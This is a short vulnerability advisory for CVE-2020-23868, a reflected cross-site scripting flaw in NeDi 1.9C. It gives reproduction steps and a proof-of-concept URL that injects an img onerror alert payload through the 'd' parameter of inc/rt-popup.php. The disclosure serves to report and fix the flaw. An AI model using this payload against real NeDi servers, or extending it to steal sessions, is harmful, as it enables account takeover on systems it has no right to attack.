Cross-Site Scripting in NeDi 1.9C

 CVE-2020-23868

```
1 Product: NeDi - Find IT
2
3 CVE: Use CVE-2020-23868
4
5 Version: 1.9C
6
7 Vulnerability: Reflected Cross-Site Scripting
8
9 Vulnerability Description: NeDi 1.9C allows Cross-Site Scripting via "d" parameter at "inc/rt-popup.ph" page.
10
11 # Steps to Reproduce
12
13 1. Log in to the application with provided credentials.
14 2. Navigate to "https://<nedi_server_ip>/inc/rt-popup.php" page.
15 3. Add "d" parameter at the end of the URL with XSS Payload like below:
16 > https://<nedi_server_ip>/inc/rt-popup.php?d=<img src=1 onerror=alert(document.domain)>
17 4. Observe that the XSS Payload provided in Step-3 is executed.
```
